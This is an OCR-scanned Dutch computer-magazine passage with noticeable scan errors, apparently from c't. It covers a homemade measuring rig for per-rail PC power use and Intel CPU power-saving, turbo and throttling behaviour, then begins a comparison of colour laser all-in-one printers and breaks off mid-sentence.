doxaal genoeg wordt de turbo ook gehol- 
pen door de energrebesparende functies. 
Die moeten er voor zorgen dat de cpu zo 
koel nriogelijk bli|ft* In zo'n geval kun je 
dan op de verschillende spanningslijnen 
kijken wat de afzonderli|ke effecten zijn. 
Met de juiste meet- en regeltechnieken 
kun je ook de thermal throttling bekijken, 
die een processor voor oververhittmg 
moet behoeden. 

Uitdagrng 

Om de afzonderlijke componenten te kun¬ 
nen meten, Js een complexe meettechniek 
vereist. De pc-voeding voedt de compo¬ 
nenten via meerdere spanningslijnen, die 
je dan alfemaal tegelijk moet meten, Daar 
komen dan nog allerlei uitdagende fac- 
toren aan meetbereik en nauwkeurigheid 
bij, omdat de stroom en spanning en daar¬ 
mee het verbriiik voor de verschillende 
componenten erg dynamisch is. De varia- 
ties in stroom hebben ook gevolgen voor 
de spanning. Daarom ontkom je er niet 
aan om zowel de stroom als de spanning 
snel en synchroon te meten* 

Met een of zelfs meerdere multime¬ 
ters kom je dan niet ver* De middeiende 
weergave van dit soort meters is veel te 
traag voor processors of grafische kaar- 
ten^ die in milllseconden been en weer 
kunnen springen tussen de verschillende 
bedrijfsmodi* Met een oscilloscoop kan 
dat wei, maar die hebben niet genoeg ka- 
nalen* We hebben dan ook besloten om 
zelf een meetsysteem In elkaar te zetten 
dat op acht kanalen de stroom en span¬ 
ning met een frequentie van 20 kHz meet* 
Meer details over de constructie van ons 
ATX-meetapparaat vind je in het kader op 
p. 130. 

Meten is weten 

Het ATX-meetapparaat wordt tussen de 
voeding en de verbruikers op de verschil¬ 
lende spanningslijnen gezet en meet die 
zo vaak dat hem geen toestandsverande- 
ring van de cpu of gpu ontgaat. Niet ieder 
onderdeel van het moederbord of grafi¬ 
sche kaart heeft zijn eigen spanningslijn, 
en niet alle onderdelen zijn storingsvrij te 
meten. Dat doen we dan ook alleen in uit- 
zonderingssituaties. Maar ook een meting 
aan de secundaire kant van de voeding 
kan al aardig wat uitsluitsel geven over de 
afzonderlijke verbruikers* 

Uit onze experimenten met Intels ener- 
giebesparende en turbomodi van de hui- 
dige Core i-processors blijkt wel hoe goed 
dat gaat. De bijbehorende concepten heb¬ 


ben we in een eerdere c't al eens uitvoe- 
fig uitgelegd [1]. Deze keer gaat het meer 
over concrete metingen, een paar interes- 
sante observaties en een kijkje in de keu- 
ken van onze testruimte. 

We hebben een aantal moederborden 
die we nog hadden Mggen eens onder de 
loep genomen. Bij onze bouwvoorstellen 
hechten we altijd belang aan een laag 
energleverbfuik. Niet alleen om stroom te 
besparen, maar ook om de koeling stil te 
kunnen houden* Een computer doet het 
grootste deel van de tijd niets, dus gaan 
we eerst naar deze redelijk statfsche toe- 
stand kijken* 

Het viel ons eerder op dat veel syste- 
men met een ZbB-chipset idle primair 
meer dan 30 watt verbruiken en een paar 
genoeg hebben aan 25 watt. Deze waar- 
den van de erg nauwkeurige LMG95 van 
Zimmer Electronic geven echter alieen 
een globaal kwalitatieve schatting. 

Het ATX-meetapparaat meet secundair, 
Een vergelijking met de resultaten van 
de LMG9S laat dan de schrikbarend lage 
efficientie van de huidige voedingen in 
idle-toestand zien. Dat is ook het geval bij 
een Intehmoederbord (DZ68DB), 2 x I GB 
RAM, Core i7-2600K en een solid state disk 
(X25-JVI), ook al gebruiken we hierbij een 
heel redelijke 350W-voeding (Enermax 
EES350AWT). Van de primair gemeten 24 
watt worden er 16 veroorzaakt door de 
cpu, het moederbord, de solid state disk 
en dergelijke. De voeding zet dus onge- 
veer 40 procent om in warmte en valt dan 
nog binnen de grenzen voor het 80+“iogo. 
Daarvoor moet vanaf 20 procent van de 
nominale belasting - hier dus 70 watt - 
een efficientie van minstens 80 procent 
gehaald worden, Dat is irritant, maar daar 
is met de huidige voedingen helaas niets 
aan te veranderen. 


Tijdens idle gaat het leeuwendeel van 
het vermogen zoals verwacht naar het 
moederbord (15,4 watt) en doet de SSD 
met 0,6 watt am per mee, Maar als je denkt 
dat de processor de grootste verbruiker 
is, heb je het mis. De spanningsconver- 
ters die de processor voeden halen hun 
spanning van de T2V2-lijn, die daarvoor 
slechts 3,7 watt levert. Ongeveer evenveel 
(3,8 watt) gaat via de 3,3V-lijn, waar onder 
andere de extra chips op het moederbord 
op aangesloten zijn* De 5V-lijn draagt met 
5,4 watt het meest bij, Bij dit moederbord 
worden daar - via andere spannlngscon- 
verters “ ook het geheugen en waarschijn- 
lijk delen van de chipset en de audio- en 
lan-adapter mee gevoed. ledere moeder- 
bordfabrikant beslist zelf welke onder¬ 
delen hij via welke converters aan welke 
spanningslijn hangt, Dat geldt ook voor 
de l/O-spanningen van de processor* Voor 
de chipset zijn de 3,3- en 5V-lijn de ge- 
bruikelijke kandidaten, maar ook andere 
moederbordontwerpen zijn denkbaar. 

Op de 12V1-lijn gaat het er met 1 watt 
gemoedelijk aan toe. Dat is niet zo ver- 
wonderlijk, aangezien deze buiten de cpu- 
ventilator in eerste instantie alleen de in 
ons geval ongebruikte slots voor uitbrei- 
dingskaarten voedt. Verrassend genoeg 
levert de 5V-standby-lijn 1,3 watt - en dat 
bij idle. Als je deze pc in de diepe slaap- 
stand zet (ACPI S3), wordt dat zelfs 1,5 
watt. Met het voedingsveriles erbij geeft 
de LMG95 aan de primaire kant dan 2,1 
watt aan. 

Individuele afwijkingen 

Uit een vergelijking met het moederbord 
Z68MX-UD2H-B3 van Gigabyte blijkt hoe- 
zeer deze waarden verschillen van moe¬ 
derbord tot moederbord* Zowel primair 



Voor metingen van het energieverbruik aan het 230V-lkhtnet gebruiken we de nauwkeu¬ 
rige LMG95* Die heeft echter maar een kanaal voor stroom en spanning* 
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De Core i-processor wordt iedere 2 ms even wakker en gebruikt dan tot 12,5 watt op de 
12V2-lijn [blauw}. Gemiddeld is dat echter maar 3,3 watt. 



Zonder de energiebesparende modi zijn er minder belastingspieken, maarzowel door de 
12V2- {blauw} als de SV-lijn (rood) gaat veel meer stroom. 
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Zodra SpeedStep de kbkfrequentie en de kernspanning verlaagt (hier bij 4,9), foopt het 
verbruik op de 12V2-tijn (blauw) wel terug, maar op de 5V-lijn (rood) niet. 


als secundair verbruikt deze ongeveer 30 
procent (31,2 / 21,4 watt) meer dan het 
Intel-board. 

Ook hfer helpt een blik op de afzon- 
derlijke spanningslijnen om de oorzaak 
te vinden. Bij de voeding van de proces¬ 
sor (3,3 watt) en de 3,3V4ijn (3,1 watt) is 
er amper verschil, maar de 5V-aansluitmg 
levert meer dan het dubbele [11 watt) en 
over de 12V-lijn gaat zelfs het drievoudige 
(3,3 watt). Gigabyte heeft de stand-byvoe- 
ding duidelijk anders opgeiost, daar was 
idle slechts 0,15W voor nodig. 

Het grote aantal extra chips is verant- 
woordelijk voor het hoge verbruik op 
de SV-voorziening. Elk van de vijf PCIe- 
switch-componenten, die de lanes van de 
twee eerste PEG-slots verdelen, verbruikt 
een half watt. Daar komen de tweede USB 
3.0-controller, de Reaktek-lan-chip, een 
SATA-controller en nog wat kleine d'm- 
gen bij. Kortom: ve!e klelntjes maken een 
grote, Als Je een extreem zuinige pc wilt, 
moet je dus wel beseffen dat extra func- 
ties ook stroom kosten als je ze helemaal 
niet gebrurkt. 

Zuinig met energie 

Als je niet alieen naar de gemiddelde 
waarden kijkt, maar wat meer inzoomt 
op de tijd, komen er interessante details 
naar voren. De grafische weergave van 
het verbruik op de 12V2-lijn, waar de cpu 
aan hangt, laat totaal geen constante lijn 
zien op de genoemde 3,3 watt, maar lijkt 
meer op een ECG. De processor gebruikt 
tijdens een rustfase slechts ongeveer 2,1 
watt, maar om de 2 milliseconden schrikt 
hi] even wakker en kijkt of er wat te doen 
Is. Daar heeft hij maximaai 12,5 watt voor 
nodig. Ter vergelijking: onder volledige 
befasting is het verbruik gemiddeld 58,6 
watt en bij pieken zelfs 68 watt. 

Om ervoor te zorgen dat de processor 
idle genoeg heeft aan slechts zes procent 
van zijn piekvermogen, zijn er een aantal 
spaarmodi. Een vergelijkingsmeting zon¬ 
der allerlei energiebesparende en turbo- 
functies laat zien wat hun nut is: het idle- 
vermogen van de cpu stijgt naar 20 watt 
en de 5V-lijn verbruikt dufdelijk meer. Dan 
zijn er hooguit nog enkele tientallen pie- 
ken per seconde, 

Als je SpeedStep - zo'n beetje de oud- 
ste spaarmodus - dan wel de moderne 
variant daarvan (EIST) inschakelt, zakt het 
gemiddelde verbruik naar 7,5 watt. In de 
graflek [inks kun je mooi de grote vermo- 
genssprongen zien die optreden als de 
frequentie van 3,4 GHz naar 1,6 GHz zakt 
en daarmee ook de kernspanning lager 
wordt 

Het gemiddelde verbruik gaat niet ver- 
der naar beneden als je de slaapmodus 
C1E inschakelt, maar gaat door de vaker 
voorkomende vermogensveranderingen 
juist marginaal omhoog. Pas als je de beide 
'deep sleep states' C3 en C6 gebruikt, hal- 
veert het verbruik nog een keer tot de ge- 
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Als je met Core2MaxPerf eerst een, dan twee, drie en tenslotte a!k kernen belast, loopt 
het energieverbrutk trapsgewijs op. Zonder Turbo Boost Nggen de verschilfende niveaus 
een paar watt lager. 



Zodra de thermal throttling aanslaat (rode Njn) en de cpu door oververhitting niet meer 
contlnu in de Turbo-modus kan werken, verandert de klokpuls. 



tijd 


Zonder voldoende keeling stijgt het energieverbruik als de temperatuur toeneemt Pas 
als de throttling aanslaat (rode lijn), gaat het snel bergafwaarts en komt het vermogen op 
ongeveer een derde van het maximum te liggen. 


noemde 3,3 watt. Daar komt nog 6 watt 
besparing op de 5V-IIjn bij. Ook a! voedt 
deze wellicht het I/O- of uncore-deel van 
de cpu, het grootste deel van de besparing 
komt van het geheugen omdat deze slaap- 
modi ook voor de DRAM-controller van de 
processor gelden en daarmee voor de ge- 
heugenmodules. 

Nabrander 

De energiebesparende functies, met name 
de diepe C-states, helpen echter niet al- 
leen om stroom te besparen, maar vor- 
men ook de basis voor de turbomodi van 
Intel en AMD. De simpele opiossing om de 
thermische ruimte van slapende kernen te 
herverdelen loopt tegen heel wat prakti- 
sche problemen aan. Zo is niet alleen de 
totale geprodticeerde warmte van belang, 
maar ook de oppervlakte die beschikbaar 
is om die warmte af te voeren. Een enke- 
le kern kan snel oververhitten als hij het 
vermogen van vier kernen verbruikt. Hij 
heeft immers ook maar een kwart van het 
totale koeloppervlak tot zijn beschikking. 
Bovendien stellen de kernspanning en het 
fabricageproces bepaalde limieten aan 
de klokfrequentie. De praktische gevol- 
gen daarvan worden duidelijk in een test 
waarblj we na elkaar een, twee, drie en 
tenslotte vier (fysieke) kernen maximaal 
belasten met CoreZMaxPerT Dat levert 
een grafiek op met duidelijke niveaus van 
23, 37, 48 en 59 watt 

Een referentiemeting zonder Turbo 
Boost illustreert wat overklokkers al lan- 
ger vermoeden: de huidige Intel-cpu's 
hebben zoveel speelruimte bij de klok- 
frequence dat van het volledig benutten 
van de thermische ruimte van 95 watt 
nog geen sprake kan zijn. De heie vermo- 
genscurve (18, 30, 45, 55 watt) schiet - op 
alle niveaus - een bescheiden 5 tot 7 watt 
omiaag. Afs de processor aan zijn limiet 
zou hebben gezeten, zouden de niveaus 
onderling sterker verschillen en dicht bij 
elkaar tegen de TDP aan moeten liggen. 
Daar kun je tegenin brengen dat de TDP 
ook nog v^at lucht voor de gralische kern 
over moet hebben, maar ook diens vermo- 
gensrulmte zit in de TDP en zelfs bij een 
gecombineerde grafische en processor- 
belasting en goede keeling kwamen de 
metingen niet noemenswaardig boven de 
76 watt uit. Zelfs bij een hoge kerntempe- 
ratuur van 74 wat a! aardig richting de 
llmletwaarde gaat, komt het door halfge- 
leidereffecten sterk verhoogde verbruik 
niet boven de 87 watt uit. Daar zitten de 
verliezen van de spanningseonverters op 
het moederbord dan ook nog bij. 

Noodstop 

Als de koeling van een processor het laat 
afweten, loopt hij tegen een veel belang- 
rijkere grens aan. Als de ingebouwde 
thermosensors alarm slaan, treedt een 
meertraps beveiligingssysteem in wer- 
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tijd 

Zelfs als je met tien vingers zo srre! mogelijk typt (seconde 10 tot 20), is dat voor een mo- 
derne cpu amper nog een reden om uit de slaapstand te komen (tot 10). Na 30 seconden 
start Core2MaxPerf en dan schiet het verbruik omhoog. 


king> Eerst schakelt de processor de tur- 
boniveaus uit* Als dat niet voldoende ts, 
verlaagt hij met thermal throttling de 
klokfrequentie zelfs tot onder de nomi¬ 
nal e waarde* In het ergste geval trekt hIj 
aan de noodrem en schakelt hij zichzelf 


uit. De grafieken links laten verschillende 
fasen zien* Na de abrupte stijging bij het 
starten van het programma stijgt het 
energleverbruik geleidelijk verder omdat 
de kerntemperatuur toeneemt. Na onge- 
veer een minuut is die 98 en komt het 


energieverbruik bijna tot zijn maximum 
van 100 watt Dan gaat de turbo uit en 
daarna daalt de klokfrequentie steeds 
meer. Het energieverbruik neemt ook af. 
Ongeveer een minuut later hebben de 
noodmechanismen zowel een hittedood 
als een crash afgewend. De cpu werkt nog 
steeds, ook al is het met een kiokfrequen- 
tie van slechts 800 MHz. Het opgenomen 
vermogen en de temperatuur hebben zich 
gestabiliseerd op respectievelijk 30 watt 
en 93 ^C. 

Ook af is de pc nret gecrasht, het is niet 
aan te raden dit a] te fang te laten duren, 
omdat er bij deze temperatuur op de 
lange termijn toch schade kan ontstaan* 
Een Interessant bijeffect was dat de pro¬ 
cessor na een aantal minuten op meer 
dan 90 °C ook na het heractiveren van de 
koeling niet meer in staat was de nood’ 
toestand van 800 MHz op te heffen, Na 
een herstart was 1600 MHz weer mogelljk, 
maar pas na het volledig loskoppelen van 
de electriciteit kwam de cpu terug in de 
orlginele staat 

Sneltypen 

Bij al dat gegoochef met mega- en giga- 
hertzen verlies je snel uit het oog hoe 


c't-ATX-meetapparaat 

Voor een gedetailleerde analyse van het 
energieverbruik komen een aantal verschik 
lende stroomkringen in aanmerking (zie de 
label op de volgende pagina), Vijf daarvan 
gaan naar het moederbord via een 24-polige 
ATX-stekker. De vier- of achtpolige ATX-12V- 
stekker voedt de processor en erzijn tot twee 


zes- of achtpolige PEG-stekkers met ieder een 
12V-liJn voor de grafische kaart* SATA-schij- 
ven krtjgen 12,5 en 3,3 volt 

We hebben ons nieuwe ATX-meetapparaat 
dan ook geschikt gemaakt voor maximaal 
acht parallelfe lijnen. Van ieder kanaal worden 


de spanning en de stroom van de aangeslo- 
ten componenten gemeten* De stroom con- 
verteren we met behulp van precisieweer- 
standen (shunts) In een spanning. Zestien 
geisoleerde meetversterkers brengen de af- 
zonderlijke signalen op een niveau tussen de 
0 en 10 volt Een meetkaart met een resolutie 


Zelfs op het voedingssignaal 
voor de processor komen amper 
signalen bo ven de 5 kHz voon 


Op de zelfgemaakte bovenste printplaat zitten de afzonderlijke 
shunts met temperatuurbewaking, een ventilatoraansturing en de 
aanslultingen voor de voeding, de te testen component en de meet¬ 
kaart* De versterkers in de onderste verdieping bewerken de signalen 
voordat ze naar de PC I e-meetkaart in de computer worden gestuurd. 





De PCI-Express-meetkaart 
kan 8 van de 16 analoge kanalen syn- 
chroon 
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De processor draait zijn hand niet om voor het verwerken van een toetsaanstag. In de 
80 miJIiseconden tussen de aanslagen - gemarkeerd door de rode en gele cursor - door- 
loopt hij tientallen slaapcycIL 


enorm snel processors eigenlijk werken. 
Net volgende experiment maakt duidelijk 
wat 3.000,000*000 cycii per seconde bete- 
kenen* We hebben zo snel als we konden 
op het toetsenbord zitten ram men, zon- 
der daarbij te kijken of dat ook maarenige 
zinvolle tekst opieverde, en daarbij naar 
de performance van de processor geke- 
ken. 

Een ding stond van tevoren a I vast: tus¬ 
sen twee toetsaanslagen in heeft een pro¬ 
cessor tijd genoeg voor een powernapje. 
Maar het resultaat is nog meer ontnuch- 
terend: ondanks de zinloze 750 aansla¬ 
gen per minuut - twee keer zoveel als 
een zeer ervaren typist - doorliep de cpu 
tussen twee aanslagen ongeveer 40 com¬ 
plete slaapcycii van ieder 2 ms. Bovendien 
steeg het energieverbruik tijdens de korte 
waakperloden slechts mintmaal. 

Toekomstperspectief 

Het bouwen van gespecialiseerde meet- 
apparatuur kost een niet onaanzienlijke 
hoeveefheid tijd en geld, maar in een la- 
boratoriumsituatie kun je dan wel con¬ 
crete experimenten en metingen doen om 
theorieen en speculaties te bewijzen dan 
wel te ontkrachten. We hadden brjvoor- 


van 16 bit er^ een samplerate van 20kHz 
meet die vervolgens. Omdat de versterker- 
moduJes meteen als 10kHz-1 owpassfitter 
fungeren, voldoet het ontwerp aan het be- 
monsteringstheorema van Nyquist-Shan- 
non. Anders gezegd: ons meetapparaat kan 
signalen met frequenties tot 10 kHz verlies- 
viij meten. 

Dan is het nog maar de vraag of dat nodig 
is. Spanningen en stromen in een pc heb¬ 
ben geen bijzondere hoogfrequente delen. 
De snelste veranderingen zijn bij de 12V2- 
lijn te zien en ook daar maken stgnalen van 
10 kHz of meer maar ongeveer een hon- 


bee id verwacht dat bij USB-transfers hun 
tijd raster van 1 ms ook in het energiever¬ 
bruik terug te zien zou zijn. Maar helaas. 
Het vermoeden dat de turboniveaus van 
Intels Core i-processors van de tweede 
generatle (op dit moment in ieder geval) 
meer marketingkreten zijn dan technisch 


derdste van het totale signaal uit (zie grafiek 
op de vorige pagina). Oftewef die kun je er 
met een gerust hart uitfilteren. 

De PCIe-meetkaart van Meilhaus Elearonic 
zit in een pc en geeft de ruwe data door 
aan een zelfgemaakte gebroikersinterface 
in Labview. Deze berekent aan de hand van 
de weerstandswaarden van de shunts en 
de versterkingsfactor de stromen, span¬ 
ningen en de vermogens en laat die gra- 
flsch zien* De relatief hoge samplerate 
maakt het zelfs mogelijk de afeonderlijke 
stroombesparingscydi van de cpu gede- 
taiileerd te bekijken. 


onderbouwd, is door de metingen van het 
dynamische energieverbruik indrukwek- 
kend bewezen. 

Geinspireerd door de eerste succes- 
volle tests hebben we al een hele wasfijst 
verzameld van dingen die we willen gaan 
meten* Zo willen we kijken hoe het komt 
dat veel voedingen gaan fluiten en waar- 
om de thermal throttling bij AMD's nieu- 
we Llano-processors niet zo effectief is als 
bij de Core i-chips. Ook de turbomodi van 
AMD en Intel verbergen nog wat gehei- 
men, btjvoorbeeld hoe de verdeling tus¬ 
sen cpu en grafische kern werkt en wan- 
neer het gebruik van de gei’ntegreerde 
videoversneller loont. Helemaai bovenaan 
de wensenlijst staan echter een gedetaiH 
teerde meting van grafische kaarten - 
maar dat is veer voor een volgend artikel. 

(nkr) 
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Tim Gerber 

Kleurrijk leven 

All-in-one kleurenprinters voor officetaken 

Scannen, kopieren, faxen en afdrukken in kleur - een 
laserprinter die dat allemaal kan, heb je at voor 300 euro. 

De vraag is of die voor iedereen geschikt zijn of dat je 
behoefte hebt aan net wat meer. 


P rinter! alleen is tegen- 
woofdig voor geen enkel 
kantoor meer genoeg, 
zelfs niet voor kleme zelfstan- 
digen die een kantoor aan huis 
hebben. Ais je je documenten 
elektronisch wilt versturen of 
op een mobiel apparaat wiit 
meenemen, heb je een scanner 
nodig. Als het dan niet om fo- 
to's maar om documenten gaat, 
Is een documentinvoer handig. 

Tel daarbij de sterk gedaal- 
de prljzen van kleurenlaser- 
pnnters op en je weet waarom 
de kleine multifunctionals de 


laatste jaren zo enorm aan po- 
pulariteit hebben gewonnen. 
Samsungs CLX-3185fn heb Je 
a I voor zo'n 280 euro en voor 
de HP Laserjet Pro 100 Color 
MFP Ml75 betaal je zo'n twee 
tientjes meer. De HP Laserjet 
CM1415nf ts met 350 euro 
weer wat duurder, maar heeft 
met de snellere afdrukunit, de 
faxmogelljkheid [die ontbreekt 
op de kleinere LaserJets) en 
een kleurentouchscreen ook 
een betere uitrusting. 

Van deze drie apparaten 
zijn ook andere varianten ver- 


krijgbaar. De HP Laserjet Pro 
100 is zelfs al voor 250 euro te 
koop ats Ml75a zonder net- 
werkaansluiting. HP biedt de 
Laserjet CM1415fn aan als de 
CM 1415 nfw met wla n voor 380 
euro, Samsung heeft van de 
CLX-3185 Itefst vijf varianten: 
twee apparaten met en drie 
zonder fax en document!nvoetr 
waarvan elk een ethernet- en 
wlan-ultvoering en een basis- 
uitvoering met alleen een usb- 
aaosluiting. De prijzen liggen 
tussen 250 en 500 euro. 

Ter vergeijjking hebben we 
de nieuwG Lexmark X54Sde 
getesC een duidelijk duurder 
apparaat, maar wel met meer 
mogelijkheden. Deze all-in- 
one kost in de basisuitrusting 
al 1100 euro. We hebben de 


X548dte van 1500 euro getest, 
die een extra papierlade voor 
650 vel heeft. In een directe 
vergelijking kijken we wat de 
meerwaarde is, en dan niet al¬ 
leen qua prijs. 

Voordelen 

Een laserprinter drukt een 
tekstdocument duidelijk beter 
af dan een inkjet. Ze printen 
op elke papiersoort bijzonder 
accuraaC terwiji inkjets de let¬ 
ters op eenvoudig kopieer- 
papier licht rafeiig afdrukken, 
Bij een gekieurde tekst is een 
combinatie van bepaalde 
kieurtinten een probleem 
voor laserprinters omdat de 
afdrukpunten niet op elkaar 
liggen zoals bij inkjets. De vier 
geteste apparaten doen dat 
echter best goed. Afdrukken 
van laserprinters zijn In tegen- 
stelling tot die van inkjets be- 
stand tegen vocht, vegen, licht 
en bewerklngen met markeer- 
stiften. 

Kleurenlasers kunnen foto's 
tegenwoordig veel beter af¬ 
drukken dan vroeger. De kwa- 
liteit van de afdrukken is onge- 
acht de prijsklasse opmerkelijk 
goed: de twee HP LaserJets 
leveren even goede kleuren- 
foto’s ais de beduidend duur- 
dere Lexmark X548. Het ras¬ 
ter is nauwelijks te zien en de 
kleuren zijn neutraal en niet te 
flets. De vroeger gebruikelijke 
strepen zijn alleen op de foto 
ult de Samsung ClX-3185 nog 
te herkennen. De kwalitelt van 
de printers komt dan ook a I vrij 
dicht in de buurt van die van 
een tijdschrift. Afdrukken van 
laboratoriumkwaliteit of zoals 
bij glossy magazines halen ze 
dan weer niet. 

Snelheid 

Zo groot als de overeenkom- 
sten qua kwaliteit zijn, zo 
enorm zijn de verschillen op 
het gebied van snelheid. In de 
LaserJet 100 en de Samsung 
CLX-3185 zitten eenvoudige 
afdrukunits die bij een print- 
opdracht in kleur vier keer 
op en neer moeten. Daardoor 
printen ze maar 3,5 pagina's 
per minyyt. Voor zwart-wit- 
pagina's is een doorloop ge- 
noeg, waardoor de afdruksnel- 
heid bijna vier keer zo hoog 
komt te liggen. Bij de HP Laser¬ 
Jet CM1415 is dat verschil niet 
zo groot. De snelheid bedraagt 
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Test I All-in-one printers 


Scantijden 


[sKOftdenI Preview 

Hi 

HP La^eijet Pm 100 10 

Ml75nw 

HP L^serj^t Pro n 

CMMISfn 

Lexmerfc & 

X54«dte^ 

Ssmsuno 

Cll-3185Nf 

' geeo TWAIN, stannen aileen vaoaf Ket apparaat 


lekst 30D dpi Foto DIN-A4 600 dpi 


-t betsT 4 iKlEi 



bij kleur zo'n 5 pagina's per 
minuut en bij zwart-wit S pa¬ 
gina's per minuut, maar is op 
dat laatste gebied wel meteen 
het minst snei. 

Grotere print- en ook ko- 
pieeropdrachten zijn voor de 
drie goedkoopste apparaten 
een erg grote opgave. Ze heb- 
ben allemaal een papierlade 
van slechts 100 vel, in het uit- 
voervak van de compacte ap¬ 
paraten passen er nog minder 
Ook moet je wat geduld heb- 
ben. Bij de Lexmark X548 is 
dat eeo ander verhaal: het ap- 
para at print zowel in kfeur a Is 
zwart-wit ongeveer 16 pagina's 
per minuut en ondersteunt als 
enige uit de test automatjsche 
duplex, De snelheid zakt daar- 
bij overigens behoorlijk, maar 
een kleine 10 kleurenpagina's 
per minijut is nog altijd prima 
als je af en toe eens een dik- 
kere handleiding of lets verge- 
lijkbaars moet printen. 

Als je veel print en kopieert, 
zullen de hoge afdrukkosten 
van de drie goedkopere modei- 
len een no-go zijn, met name 
bij de Laserjet Pro 100, Bij deze 
printer kost een kleurenpagina 
conform de bijbehorende ISO- 
norm lets meer dan 23 cent om 
af te drukken. Bij een normale 
inkjetprlnter van zo’n 80 euro 
kost een dergelijke pagina tus- 
sen de 10 en 12 cent. Ook de 
printkosten van de Samsung 
CLX-31S5 en van de Laserjet 
(beide rood de 20,5 cent) per 
ISO-pagina zijn in vergeiijking 
daarmee nog veel te hoog. 

Bij het printen in zwart-wit 
is het al niet veel beter. Bij 
de Laserjet 100 zijn de kos- 
ten voor een ISO-pagina een 
kleine 5 cent - bij een hoog- 
waardige inkjetprlnter zou je 
daarentegen op hooguit drie- 
enhalve cent uitkomen. De 
Samsung CLX-3185 print ook 
niet goedkoper. Bij de Laser¬ 
jet Pro CM1415 zijn de kosten 
voor zwart-wit 3,8 cent, wat 
wel lager is, maar ook dat is 


nog lang niet als goedkoop te 
bestempelen. Samsung biedt 
wel nog een zogenaamd Twin 
Pack, een pakket van twee 
zwarte toners waarmee je de 
afdrukkosten voor zwart kunt 
terugbrengen tot een kleine 3 
cent per pagina. 

Voor de Lexmark X548 wor- 
den toners in zes varianten 
aangeboden, De fabrikant 
heeft een retourprogramma 
opgezet waarbij je bij aanschaf 
verplicht bent om de cartrid¬ 
ges leeg terug te geven of rn 
elk geval niet opnieuw te ge- 
bruiken. Lexmark heeft er zelfs 
een chip voor ingebouwd voor 
als je daar anders over mocht 
denken en de cartridge toch 
wilt hergebruiken. Omdat 
zulke maatregeien volgens de 
Europese verordening voor 
elektronisch afval eigenlijk ver- 
boden zijn en in strijd zijn met 
de regels voor mededrnging, 
biedt Lexmark ook originele 
cartridges aan, waarvan de 
prijs overigens ongeveer een 
derde hoger ligt. Deze stan- 
daard cartridges zijn door de 
prijsverschillen eigenlijk dan 
ook meer een goedmakertje. In 
de reguliere handel zijn ze niet 
eens te koop, dat kan alleen via 
Lexmarks eigen online shop. 

De retourcartrldges kunnen 
liefst 8000 pagina's in zwart en 
4000 pagina's in kleur printen. 
De afdrukkosten komen daar¬ 
mee op lets minder dan 11,5 
cent per gekleurde ISO-pagina 
en rond de 1,3 cent voor een 
zwart-witpagina. Je bent daar 
een stuk goedkoper mee utt 
dan met de andere printers uit 
de test, Bij de cartridges met 
een lagere capaciteit {2500 
respectievelijk 2000 pagina's) 
komen de kosten op 14,4 cent 
{kieur) en op 2,6 cent (zwart) 
per pagina. 

In de wolken 

Cloudprinting, oftewel de mo- 
gelijkheid om vanaf elk mobiel 


apparaat op elke willekeurige 
printer af te drukken, lljkt het 
nieuwe toverwoord, Markt- 
leider HP bitjft de service 
ePrint op de nieuwste printers 
en all-in-ones promoten. Om 
ePrint te kunnen gebruiken, 
heb Je een account nodIg bij 
HP’s webservice, Daar meld je 
de printer of de apparaten met 
ePrlnt aan met een code die 
het apparaat zelf genereert. 
Elk apparaat krijgt dan een 
e-mailadres toegewezen, Bijla- 
gen in standaardformaten als 
PDF, JPEG, TXT en zelfs Word- 
documenten worden door het 
ePrint-apparaat afgedrukt. 
Je kunt dan ook iets printen 
met een mobiel apparaat dat 
e-mails verstuurt. In de begin- 
tijd kregen de apparaten nog 
automatisch een cryptisch en 
moeilijk te onthouden adres 
toegewezen, maar nu kun je 
dat adres zelf instellen. 

Via het account bij de web- 
service van HP kun je ook in¬ 
stellen of de printer e-mails 
van iedereen of alleen van 
bepaalde afzenders moet ver- 
werken. Het front-end biedt 
bovendien een aantal rudi- 
mentaire printinstellingen. Als 
deafdruktaak voltooid is, krijgt 
de afzender een bevestigings- 
mail - of een foutmelding als 
de printer niet bereikbaar was, 

Nieuwere HP-printers kun- 
nen door een samenwerking 
met Apple vanaf iOS 4.2 via 
de Airprmt-functie worden 
herkend en dan worden aan- 
geboden in programma’s met 


een printfunctle, bijvoorbeeld 
tekstverwerker Pages, Samsung 
heeft een Android-app waar¬ 
mee je vanaf je smartphone of 
tablet kunt printen en scannen. 
De HP-app iPrint, beschikbaar 
voor iOS en Android, herkende 
daarentegen alleen de Laserjet 
CM1415 en ook alleen als prin¬ 
ter - niet als scanner. Bij aan- 
merkelijk oudere HP-modellen 
als de OfficeJet Pro 8500 eAll- 
in-One ging dat beter. Daarmee 
kun je via het webfront-end 
zelfs scans maken, Dat kan met 
elk apparaat dat een browser 
heeft en waar je PDF’s kunt 
opslaan. De genoemde printer 
krijgt binnenkort overigens een 
opvolger. Lexmarks printer-app 
werkt in principe alleen samen 
met de eigen inkjets en niet 
met betere laserprinters als de 
X548de. 

In tegenstelling tot cloud- 
printing hoor je bijna nooit iets 
over cloudscanning. Toch zou 
het mooi zijn ais je documen- 
ten via een scanner met een 
druk op de knop naar de cloud 
kunt sturen, Je hebt ze dan 
namelijk altijd en overal bij de 
hand en kunt ze ook met ande- 
ren delen. Voor vakantiefoto's 
die je met je mobieitje hebt 
genomen, bestaan dit soort 
diensten allang. Bi] documen- 
ten is het dan nog handlg als 
op de server OCR-software ge- 
installeerd is die van de scans 
doorzoekbare PDF's maakt of 
ze converteert naar het Open- 
Document-formaat (odf). 
Helaas biedt nog geen enkele 


Afdrukkosten 


Icent/pagina] 


HP Usenet Pro 

100 M 17 Snw 

HP Lascijet Pro 

CMHISfn 

Lexmark 

X 54 Sdte 

Samsung 

CU('3ia5NF 


Zwart-wit 

standaard 




Kleur 

standaard 


Zwart'Wit Kleur 

lioge fapadt^it capadteit 

(23,1 - 


■70,4 - 


■14,4 


■13 


i1V4 


Afdruktijden 


[seoindertl 


HP LaserJet Pro 100 

M175nw 

HP LaserJet Pro 

CMMlSb 

Lexmark 

XS 43 dte 

Samsung 

CLX- 3185 NF 


Fout'testpagina 


Fato 10X15 


F{)toDINA4 


I3B 
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Test I All-in-one printers 



De HP LaserJet Pro 100 Color 
MlSSnw is vrij compact, het 
sobere bedieningsveld met het 
kleine monochrome display 
kan gekanteld worden. 



De HP LaserJet Pro 1415fr\ is 
dankzlj het touchscreen vrij 
intmtief te bedienen, voor een 
compleet qwerty-toetsenbord 
IS het echter te klein. 



Lexmarks X548dte biedt met 
het grote kleurentouchdisplay 
een bijzonder comfortabele 
bedienlng die ook voor meer- 
dere gebruikers afzonderlijk 
kan worden aangepast. 


Bij de Samsung CLX-3185FN blijf 
